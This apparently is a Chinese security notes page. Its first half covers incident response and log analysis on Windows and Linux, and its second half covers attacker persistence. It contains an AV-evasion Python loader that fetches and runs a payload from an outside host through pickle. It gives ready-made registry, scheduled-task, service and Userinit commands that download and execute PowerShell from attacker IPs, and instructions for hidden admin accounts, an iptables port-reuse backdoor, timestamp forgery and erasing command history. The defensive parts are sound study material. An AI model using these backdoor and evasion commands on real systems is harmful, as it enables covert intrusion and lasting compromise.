# emergency response
# 入侵排查
# Windows
1 2 3 4 5 6 7 8 1.生成msf木马 msfvenom -p LHOST LPORT -f 2.监听 use exploit/multi/handler set payload set lohost set lport
msf 中可以在网络链接中找到,但任务管理器找不到
# 端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 C:\Users\18310>netstat -ano | findstr "ESTABLISH" TCP 10.128.50.84:49893 42.81.179.166:80 ESTABLISHED 25756 TCP 10.128.50.84:49898 42.81.193.250:443 ESTABLISHED 25756 TCP 10.128.50.84:49919 103.212.12.39:3000 ESTABLISHED 2208 TCP 10.128.50.84:57229 119.3.227.186:11113 ESTABLISHED 35024 TCP 10.128.50.84:57357 113.142.50.195:443 ESTABLISHED 32808 TCP 10.128.50.84:57413 119.38.189.36:3504 ESTABLISHED 32808 TCP 10.128.50.84:57462 117.62.242.202:80 ESTABLISHED 25756 TCP 10.128.50.84:57464 120.133.59.142:443 ESTABLISHED 6056 TCP 10.128.50.84:57474 120.133.59.142:443 ESTABLISHED 6484 TCP 10.128.50.84:57483 119.38.189.36:3504 ESTABLISHED 32808 TCP 10.128.50.84:59370 101.89.15.105:443 ESTABLISHED 33384 TCP 10.128.50.84:59493 20.198.162.76:443 ESTABLISHED 11804 TCP 10.128.50.84:59899 150.158.219.208:443 ESTABLISHED 32808 TCP 10.128.50.84:63118 119.38.189.36:3504 ESTABLISHED 32808 TCP 10.128.50.84:63177 20.197.71.89:443 ESTABLISHED 11804
# 进程
1 2 C:\Users\18310>tasklist /svc | findstr 2208 LenovoInternetSoftwareFra 2208 暂缺
软件查杀
PCHunter
分析进程,分析签名,corporation 等
火绒剑
process,autorun
Process Monitor
删除进程
taskkill /F /T /PID 2208
参数列表:
/S system 指定要连接的远程系统。
/U [domain\]user 指定应该在哪个用户上下文执行这个命令。
/P [password] 为提供的用户上下文指定密码。如果忽略,提示
输入。
/FI filter 应用筛选器以选择一组任务。
允许使用 "*"。例如,映像名称 eq acme*
/PID processid 指定要终止的进程的 PID。
使用 TaskList 取得 PID。
/IM imagename 指定要终止的进程的映像名称。通配符 '*'可用来
指定所有任务或映像名称。
/T 终止指定的进程和由它启用的子进程。
/F 指定强制终止进程。
/? 显示帮助消息。
找一些小众的 C2 框架,提升过免杀的概率
https://cloud.tencent.com/developer/article/1597767
CS 上线
netstat 中开始没有 cs 的连接,只有当 cs 中发出命令时才会建立连接,并且服务器发完命令立刻中断连接
建立连接时间为 sleep
因为受害者和攻击者通过中间的 teamserver 建立连接
找进程
tasklist 前提是没有注入进程
注入进程后使用工具
免杀通过 rc4 加密,比 aes 更好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import base64 import pickle as json import ctypes import urllib.request import codecs from Crypto.Cipher import AES # pick = """ # json.loads(base64.b64decode(AES.new(b'ysIx0oKueJV15dkA4P3WvDjnq9giB62=', AES.MODE_CBC, b'jbMNXRf954m0WUzQ').decrypt(base64.b64decode((b'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' # ))))) # """ # res = base64.b64decode(AES.new(b'ysIx0oKueJV15dkA4P3WvDjnq9giB62=', AES.MODE_CBC, b'jbMNXRf954m0WUzQ').decrypt(base64.b64decode((b'bJ9jdms4c1viEV0L0iuxuBW8ciWoHvBztGfjIABjtw9js5ZCPByXWk6b9PW+9B5FPtqR1pcua3p7ZEBN6RecOcSBOgw3O06TVwJ4861eeIugI3HWEHzF9uspTVMKIQeTfHl/9xU5YyYBM0QqqAYe4cRAjVy7ZuQ7m/MpskJ6hH58S0/xvuq+qbbhiNff4tzoW4c84k+w2RCnVTpX6+PHNlSBex0B1Z4iJUQvfORLZGD64SFESnNVHoGo1uiAMcHXGoSZv4jG5bEUYPte0QDyyAoUdtF9gxm/3862yRpdFkEceURMg2Df7BIS2wUM3WOmzyXc85w3DR6VESppNIpU0MFQYsaRJ9PAqvsWnmeoXGg/KrlYZXvl5cAdMOSe3JiXJZhMoCvIAjkVXerSZ8wA2v6QVoo1hY3M8tOUAlTvQjqDr5diLnpte8Fp0L+HKDEnPew2HLFI0Jql9PpiHQUV9o6y2+KjzoPXMFWTxbsU7pBoe43rISgJycyRG1t59e6UKhnoGkZ1bu4XhJQ0w46W4EOVkteGc37YsZDu+qruWHXw4wsZNjZaYVodCH4zHxm9y8QrNlpSoZK7RXJoj1sxjJ7fOuOGciEzxIoDdfCo9uVCInDv1efJa8mCoh7apRDYtpAEhDLm+1hMqqDEgNdFH+Wny4dQjEiK/4EJgcfyB6c3+3w19k495ZozYAUGTsoiA1RDPDKIRvY7R6IPnOa84buw6JV1wgP/ly4t94hIiXUFudpP3Ir4ireKF4tywpDlFpyUSTttj9SFuUO8imGsvU/VP07IdKX4+5Q3V5jASbn6iQVWv7Grl5OC7d49gXl7LTXmaVZoRVYRf6u2Ct0VlsC1dG4VZAFiSwaWhn/iZkRGe5ETzqQxQKJE8X8UXhiFf9jXb/ojg5hcoIy9H2f5R0Qh2735dU4Kl98qDpBw2+HT2YbE9vvza3igGYpzsaMjBwUrdhQi0V1tvqwn+D++HxFafdbNjZcEkqx6QMmaCE08prKVbVoisO4EDDdzj1RZx72iLnvJ70ywS0D3WPsPrMXDJ+j1nm8HeWN/4Hgw7/mr9c+YE/dvkVFRG1+TU6ROvqoc1GPh4/2w5D6BD6nZevXwBYDqFBLnTydejM+vmmEdJOjaEEGiSoOa6eykpF8E5ReMFrHBwY/lY0EMd8oF2gwwumcC2cSseI4E5NWBH4g02iaBqNM1s4PNOmK87+Wmq+EWmFi5dna68mxBMQRXatCsdO5/TgMPDUbd9WqraC2J6XPFxEG6cV2vwFuYAvrLgC2HKWbW3cvxLtw/ugk3/C+efkTYix9nJV7Jpx4Ttg3zg4U3P1C3a1fqaR1Lap5AIVOZu/L1+QGU3aAH+0R3677L3Ihs1peR/cYQyazP613aDYlHJc6Ky4lViwbFcgLE6zsson+IYOMz9YZ0mSiLyAbp3qxMBQgLeo/fhA+5M5fcwEatUOGfus/eitDIeakkcNufLrdXaPw04gQfJ7Gre2OAcR7wXkOhHwAV6Xg0IHOHJvPWRA/KjowQEJ8xMsAMnsKkwuPrWlaYWmikNosgzZzZDx27czlIpX1UD5p0V9BrjQ9BZJQyPE18RcyDLsx0WmIKUnh0L2gGuwvnRPZGQwitwGUvwZ1JuPWqDqDxwfWLZ9eyVlhf457YehxZcv3vpJkTqNsRqwK3ofxslzkFfzKOGrzXsoBYZx2QkiHKffZXp7OhmlC+Ign/LIdd/eD1uuaUDk00i8Ti0wmF2l0ITMLQoMWwxeIOTKlY0uP1YZvFd4XPjgUqIBRU3ENfmnihuv/drwvJ92xI1/T7JYKhpvKq85sTYg4aBG0yGaE1JaviiWKrFajihuMfr+CjzMVeNmjHLOS22AlfBkRRNFGIqWzqTP//tTQu+9OoT5KWG3+NxHXIZoMKnRczmVkvocVtF88aaowVQQdBGy1URnQdURuYqVI+m0anVW0MqpkkZAetm+KXMWj7/ybRULIc45B/tVr2rFpkrRa0QkmonAgbVA==' # )))) # # print(res) # # class A(object): # def __reduce__(self): # return (exec, (pick,)) # ret = json.dumps(A()) # print(ret) # res = base64.b64encode(ret) # print(res) html=urllib.request.urlopen('http://i.miaosu.bid/data/f_41570228.gif').read()[7:] html = html.strip(b'\r\n') res = html[:-3][::-1]+html[-3:] # print(base64.b64decode(res)) json.loads(base64.b64decode(res))
在通过 pyinstaller 无窗口编译成为 exe
# 账户
首选管理员账户登录,不建议创建账户
通过 net use 或者 computer mananger 查看用户
net user haha$ shabi /add //$ 结尾的用户为影子用户
net localgroup adminstrators haha$ /add // 加到管理员组
此时 net user 看不到,但 computer manager 能看到
或者通过注册表注册
先把影子账户和正常账户导出
通过修改账户的 F 键为想要克隆的键
导入注册表
具体自己查吧…
控制面板和 net user 看不到,但注册表还是可以看到的
因此在应急响应时查账户要查三个地方
注册表,控制面板,net user
或者使用 D 盾
或者查看日志 eventvwr.msc
Windows logs -> security
4624 4625
# 启动项,任务计划,服务
工具可以排查服务和启动项
任务计划 task scheduler
注册表启动项
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
组策略 gpedit.msc 中 自启
Windows 设置 -> 脚本
总结:
用户 -> 端口 -> 进程 -> 注册表 -> 启动项 -> 任务计划 -> 服务 -> 组策略
# Linux
# 账户
1.passwd
awk -F: ‘{print $1,3 , 3, 3 , NF}’ | grep -Ev ‘nologin’
排查 uid 和 gid , 和 bash
2.shadow
shadow 中第二列为!代表不能登录
能正常登录的用户在第二列会有加密的密码
1 2 3 4 5 6 7 8 9 10 11 12 1、查询特权用户特权用户(uid 为0) [root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd 2、查询可以远程登录的帐号信息 [root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow 3、除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限 [root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" 4、禁用或删除多余及可疑的帐号 usermod -L user 禁用帐号,帐号无法登录,/etc/shadow 第二栏为 ! 开头 userdel user 删除 user 用户 userdel -r user 将删除 user 用户,并且将 /home 目录下的 user 目录一并删除
sudoers 中的内容:
1 2 3 4 5 6 7 8 9 10 11 12 ## Allow root to run any commands anywhere root ALL=(ALL) ALL ## Allows members of the 'sys' group to run networking, software, ## service management apps and more. # %sys ALL = NETWORKING, SOFTWARE, SERVICES, STORAGE, DELEGATING, PROCESSES, LOCATE, DRIVERS ## Allows people in group wheel to run all commands %wheel ALL=(ALL) ALL ## Same thing without a password # %wheel ALL=(ALL) NOPASSWD: ALL
因此可能存在 sudo 提权
# 历史命名
可以查看不同用户的历史命令 ~/.bash_history
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 1、root 用户的历史命令 histroy 2、打开 /home 各帐号目录下的 .bash_history,查看普通帐号执行的历史命令。 为历史的命令增加登录的 IP 地址、执行命令时间等信息: 1)保存1万条命令 sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile 2)在/etc/profile的文件尾部添加如下行数配置信息: ######jiagu history xianshi######### USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'` if [ "$USER_IP" = "" ] then USER_IP=`hostname` fi export HISTTIMEFORMAT="%F %T $USER_IP `whoami` " shopt -s histappend export PROMPT_COMMAND="history -a" ######### jiagu history xianshi ########## 3)source /etc/profile 让配置生效 生成效果: 1 2018-07-10 19:45:39 192.168.204.1 root source /etc/profile 3、历史操作命令的清除:history -c 但此命令并不会清除保存在文件中的记录,因此需要手动删除 .bash_profile 文件中的记录。
# 端口
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 netstat -lntup | more 查看下 pid 所对应的进程文件路径, 运行 ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 为对应的 pid 号) 如果要排查对应的pid的执行文件 在/proc/$pid/exe [root@VM-16-11-centos 6852]# pwd /proc/6852 [root@VM-16-11-centos 6852]# ls -al dr-xr-xr-x 9 lighthouse lighthouse 0 Sep 11 14:30 . dr-xr-xr-x 163 root root 0 Mar 22 2022 .. dr-xr-xr-x 2 lighthouse lighthouse 0 Nov 8 17:00 attr lrwxrwxrwx 1 lighthouse lighthouse 0 Nov 8 17:01 cwd -> /www/wwwroot/www.radsm.co/beef_1/beef -r-------- 1 lighthouse lighthouse 0 Nov 8 17:01 environ lrwxrwxrwx 1 lighthouse lighthouse 0 Nov 8 17:01 exe -> /home/lighthouse/.rvm/rubies/ruby-3.0.3/bin/ruby
# 进程
ps aux | ps ef
# 启动项
# 任务计划
1 2 3 4 5 6 7 8 9 10 11 12 crontab -l 列出某个用户cron服务的详细内容 重点关注以下目录中是否存在恶意脚本 /var/spool/cron/* /etc/crontab /etc/cron.d/* /etc/cron.daily/* /etc/cron.hourly/* /etc/cron.monthly/* /etc/cron.weekly/ /etc/anacrontab /var/spool/anacron/*
# 日志
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 1、定位有多少IP在爆破主机的root帐号: grep "Failed password for root" /var/log/secure | awk '{print $11}' | uniq -c | sort -nr | more 定位有哪些IP在爆破: grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c 爆破用户名字典是什么? grep "Failed password" /var/log/secure| awk '{print $9}' | sort -nr | uniq -c 2、登录成功的IP有哪些: grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more 登录成功的日期、用户名、IP: grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}' 3、增加一个用户kali日志: Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001 Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali , shell=/bin/bash Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali #grep "useradd" /var/log/secure 4、删除用户kali日志: Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali' Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali' Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali' # grep "userdel" /var/log/secure 5、su切换用户: Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0) sudo授权执行: sudo -l Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now
账户 历史命令 端口 进程 开机启动 任务计划 日志
# webshell 查杀
# 工具
1.D 盾
2. 河马
3. 百度 webdir
4. 在线 webshell 查杀 bugscanner
# 发现 webshell 后门
1. 判断 hash
2.diff
1 2 3 4 5 6 7 8 9 10 11 12 13 diff -c -a -r cms1 cms2 md5sum比较两个文件夹下面文件是否相同 Copy文件夹之后,检测两个文件夹(dir1,dir2)下文件是否相同。logdir 是任何一个存放生成文件的目录 cd dir1 find ./ -type f -exec md5sum {} \; | sort -k 2 > result.txt cd dir2 find ./ -type f -exec md5sum {} \; | sort -k 2 > result.txt cd logdir diff result.txt result.txt
3. 工具
winMerge
beyond compare
# 日志分析
# Windows 日志分析
Windows 系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。
Windows 主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志。
系统日志
记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由 Windows NT/2000 操作系统预先定义。
默认位置: % SystemRoot%\System32\Winevt\Logs\System.evtx
应用程序日志
包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。
默认位置:% SystemRoot%\System32\Winevt\Logs\Application.evtx
安全日志
记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。
默认位置:% SystemRoot%\System32\Winevt\Logs\Security.evtx
开启审核策略
Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用 ,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。
设置日志属性
# 日志分析
对于 Windows 事件日志分析,不同的 EVENT ID 代表了不同的意义,摘录一些常见的安全事件的说明:
4634,4647 远程登录注销时触发
# 工具分析:
Log Parser
1 2 3 4 5 6 7 8 登录成功的所有事件 LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where EventID=4624" 指定登录时间范围的事件: LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\Security.evtx where TimeGenerated>'2018-06-19 23:32:11' and TimeGenerated<'2018-06-20 23:34:00' and EventID=4624" 提取登录成功的用户名和IP: LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Message,13,' ') as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,'|') as Username,EXTRACT_TOKEN(Message,38,' ') as Loginip FROM c:\Security.evtx where EventID=4624"
LogParser Lizard
Event Log Explorer
# linux 日志分析
日志默认存放位置:/var/log/
查看日志配置情况:more /etc/rsyslog.conf
比较重要的几个日志:
登录失败记录:/var/log/btmp //lastb
最后一次登录:/var/log/lastlog //lastlog
登录成功记录: /var/log/wtmp //last
登录日志记录:/var/log/secure
目前登录用户信息:/var/run/utmp //w、who、users
历史命令记录:history
仅清理当前用户: history -c
日志分析 find grep egrep awk sed
# web 日志分析
Apache 日志分析技巧:
Web 访问日志记录了 Web 服务器接收处理请求及运行时错误等各种原始信息。通过对 WEB 日志进行的安全分析,不仅可以帮助我们定位攻击者,还可以帮助我们还原攻击路径,找到网站存在的安全漏洞并进行修复。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 1、列出当天访问次数最多的IP命令: cut -d- -f 1 log_file|uniq -c | sort -rn | head -20 2、查看当天有多少个IP访问: awk '{print $1}' log_file|sort|uniq|wc -l 3、查看某一个页面被访问的次数: grep "/index.php" log_file | wc -l 4、查看每一个IP访问了多少个页面: awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file 5、将每个IP访问的页面数进行从小到大排序: awk '{++S[$1]} END {for (a in S) print S[a],a}' log_file | sort -n 6、查看某一个IP访问了哪些页面: grep ^111.111.111.111 log_file| awk '{print $1,$7}' 7、去掉搜索引擎统计当天的页面: awk '{print $12,$1}' log_file | grep ^\"Mozilla | awk '{print $2}' |sort | uniq | wc -l 8、查看2018年6月21日14时这一个小时内有多少IP访问: awk '{print $4,$1}' log_file | grep 21/Jun/2018:14 | awk '{print $2}'| sort | uniq | wc -l
日志分析过程
1、定位攻击源
2、搜索相关日志记录
3、对找到的访问日志进行解读,攻击者大致的访问路径如下:
4. 加固攻击者访问的网站
# mysql 日志分析
设置日志
1 2 3 4 5 6 1、查看log配置信息 show variables like '%general%'; 2、开启日志 SET GLOBAL general_log = 'On'; 3、指定日志文件路径 #SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
主要需要注意爆破 root 密码
1 2 3 4 5 6 7 8 9 10 11 #有哪些IP在爆破 grep "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr 27 192.168.204.1 #爆破用户名字典都有哪些 grep "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr 13 mysql 12 root 1 root 1 mysql
如果爆破密码,失败的时候会显示 "Access denied",可靠此进行分析
# 权限维持
# Windows
# 0x01 注册表自启动
通过修改注册表自启动键值,添加一个木马程序路径,实现开机自启动。
1 2 3 4 5 6 7 8 9 # Run键 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run # Winlogon\Userinit键 HKEY_CURRENT_USER\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon 类似的还有很多,关键词:注册表启动键值。
不落地的后门通过 cs 的 web 投递生成
使用以下命令可以一键实现无文件注册表后门:不落地
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.174.131/a'))\"" /f
Logon Scripts 后门
注册表路径:HKEY_CURRENT_USER\Environment\
创建字符串键值: UserInitMprLogonScript,键值设置为 bat 的绝对路径: c:\test.bat
userinit 后门
在用户进行登陆时,winlogon 运行指定的程序。根据官方文档,可以更改它的值来添加与删除程序。
利用 USERINIT 注册表键实现无文件后门:
1 2 3 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] "Userinit"="C:\\Windows\\system32\\userinit.exe,C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\""
# 0x02 组策略设置脚本启动
运行 gpedit.msc 进入本地组策略,通过 Windows 设置的 “脚本 (启动 / 关机)” 项来说实现。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。
脚本名写 powershell 绝对路径,脚本参数写 web 投递后门
# 0x03 计划任务
通过 window 系统的任务计划程序功能实现定时启动某个任务,执行某个脚本。
使用以下命令可以一键实现:
1 schtasks /create /sc minute /mo 1 /tn "Security Script" /tr "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring(\"\"\"http://192.168.3.48:8080/T5uEhVubWqF\"\"\"))\""
容易遇到的问题:cmd 命令行执行单引号会被替换成双引号,故这里使用三个双引号替代。
合理的日期:某月某月凌晨三点
# 0x04 服务自启动
通过服务设置自启动,结合 powershell 实现无文件后门。
使用以下命令可实现:
1 2 3 4 5 sc create "KeyName" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.3.48:8080/T5uEhVubWqF'))\"" sc description KeyName "Just For Test" //设置服务的描述字符串 sc config Name start= auto //设置这个服务为自动启动 net start Name //启动服务
成功创建了一个自启动服务
通过服务自启动上线权限为 system
# 0x05 WMI 后门
在 2015 年的 blackhat 大会上 Matt Graeber 介绍了一种无文件后门就是用的 WMI。这里可以利用一个工具 powersploit,下面用它的 Persistence 模块来示范一个简单的例子。
1 2 3 4 Import-Module .\Persistence\Persistence.psm1 $ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' $UserOptions = New-UserPersistenceOption -Registry -AtLogon Add-Persistence -FilePath .\web.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose
# linux
# 0x00 隐藏文件
Linux 下创建一个隐藏文件: touch .test.txt
# 0x01 隐藏文件时间戳
Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
touch -r index.php webshell.php
或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php
# 0x03 隐藏权限
在 Linux 中,使用 chattr 命令来防止 root 和其他管理用户误删除和修改重要文件及目录,此权限用 ls -l 是查看不出来的,从而达到隐藏权限的目的。
1 2 3 4 chattr +i evil.php 锁定文件 lsattr evil.php 属性查看 chattr -i evil.php 解除锁定 rm -rf 1.evil.php 删除文件
# 0x04 隐藏历史命令
1 2 [space]set +o history 备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录。
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
这种技巧是关键记录删除,或者我们可以暴力点,比如前 150 行是用户的正常操作记录,150 以后是攻击者操作记录。我们可以只保留正常的操作,删除攻击痕迹的历史操作记录,这里,我们只保留前 150 行:
1 sed -i '150,$d' .bash_history
# 0x05 隐藏 ssh
#隐身登录系统,不会被 w、who、last 等指令检测到。
1 ssh -T root@127.0.0.1 /bin/bash -i
这是因为 w 命令显示信息来源于 utmp,last 来源于 wtmp,并不是所有程序登录的时候都会调用 utmp 和 wtmp 日志记录接口,只有交互式会话,才会调用 utmp 和 wtmp 的日志记录接口,比如通过 tty 或者 pts 或者图形界面登录的都会调用 utmp 和 wtmp 日志记录接口,然后我们在使用 w 和 last 命令的时候就会发现登录信息
不记录 ssh 公钥在本地.ssh 目录中
1 2 3 4 ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i -T 表示不分配伪终端 (正常的会话,在分配伪终端之后才会调用utmp和wtmp的日志接口) /usr/bin/bash -i 表示在登录之后 调用bash命令 -i 表示是交互式shell
ssh -lroot 192.168.12.51/usr/bin/bash 其实就相当于登录之后直接调用 bash 这个名,此时系统没有为其分配 tty,不算一个完整交互式会话,只不过 bash 接受输入,然后有输出,让我们误以为是交互式会话,其实不然,你可以将 /usr/bin/bash 替换成 /usr/bin/ls 试一下,就是简单执行以下就退出了
通过 ps -ef 和 lsof -i:22 仍然可以看到
如果已经退出,那么可以到 secure 日志中找
# 0x06 端口复用
第二种方式:利用 IPTables 进行端口复用
1 2 3 4 5 6 7 8 9 10 # 端口复用链 iptables -t nat -N LETMEIN # 端口复用规则 iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 # 开启开关 iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT # 关闭开关 iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT # let's do it iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
1 2 3 4 5 6 #开启复用 echo threathuntercoming | socat - tcp:192.168.28.128:80 #ssh使用80端口进行登录 ssh -p 80 root@192.168.28.128 #关闭复用 echo threathunterleaving | socat - tcp:192.168.28.128:80
# 0x00 添加用户
1 2 # 创建一个用户名guest,密码123456的root用户 useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
